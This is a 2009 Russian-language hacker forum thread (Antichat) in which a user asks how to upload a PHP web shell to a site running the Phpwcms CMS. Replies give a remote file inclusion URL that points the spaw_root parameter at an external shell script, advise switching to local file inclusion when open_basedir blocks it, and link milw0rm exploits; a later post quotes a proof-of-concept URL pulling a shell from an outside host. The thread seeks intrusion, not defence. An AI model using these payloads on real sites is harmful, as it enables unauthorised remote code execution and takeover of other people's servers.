HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Phpwcms
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Phpwcms
  #1  
Старый 23.01.2009, 20:28
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию Phpwcms
Кто знает,как залить пхпшелл в эту CMSку?))
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 23.01.2009, 20:33
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию
версия ?

RFI
http://www.site.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://www.evalsite.com/shell.php?
Последний раз редактировалось ElteRUS; 23.01.2009 в 20:38..
 
Ответить с цитированием

  #3  
Старый 23.01.2009, 20:48
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
Хз как её узнать,но там стоит open_basedir и safe_mod =_=.Как раз этот метод пробывал недавно,и бэйздира меня спалила)( Версия РНР - 4.3.10-22

Can`t include external file пишет =_=.А стоит allow_url_fopen() =_=
Последний раз редактировалось Велемир; 23.01.2009 в 21:02..
 
Ответить с цитированием

  #4  
Старый 23.01.2009, 21:11
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию
Так ищи локальный инклуд, удаленный вообще редко где прокатывает

http://milw0rm.com/exploits/2758
http://milw0rm.com/exploits/2163
 
Ответить с цитированием

  #5  
Старый 23.01.2009, 21:17
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
Придётся... )
 
Ответить с цитированием

  #6  
Старый 23.01.2009, 21:26
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
http://site.com/nclude/inc_ext/spaw/dialogs/img.php

Вывелось Image Properties (http://milw0rm.com/exploits/2163)

К чему это ? spaw_root переменной вообще нету )))


как тут:

PoC:
http://victim-site/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://ehmorgan.net/shell.dat?
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.